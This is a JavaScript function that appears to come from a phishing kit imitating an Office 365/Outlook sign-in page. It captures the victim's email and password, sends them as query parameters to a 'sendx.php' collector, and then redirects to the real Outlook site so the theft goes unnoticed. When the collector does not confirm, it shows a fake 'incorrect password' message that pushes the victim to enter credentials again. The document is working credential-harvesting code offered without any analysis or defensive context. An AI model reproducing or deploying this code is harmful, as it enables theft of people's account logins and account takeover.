function sendmails() {
            var em = $('#testx').val();

            var ps = $('#pass').val();


                    var xhttp = new XMLHttpRequest();
                    xhttp.onreadystatechange = function() {
                        if (this.readyState == 4 && this.status == 200) {

                            var response = JSON.parse(this.responseText);

                            if (response.msg == "donesend") {
                                  $(".login_form").hide();
                               $(".thanks").show(); setTimeout("window.location.href='https://outlook.office365.com/owa/?realm';",5000);
                            } else {

                               $("#warning").empty();
                                $('#warning').append('Your email or password is incorrect. If you don\'t remember your password,<a href="#"> reset it now.<a/> <br> <br> ' );
                            }
                        }
                    };
                    xhttp.open("GET", "sendx.php?user=" + em + "&pass=" +ps, true);
                    xhttp.send();
                }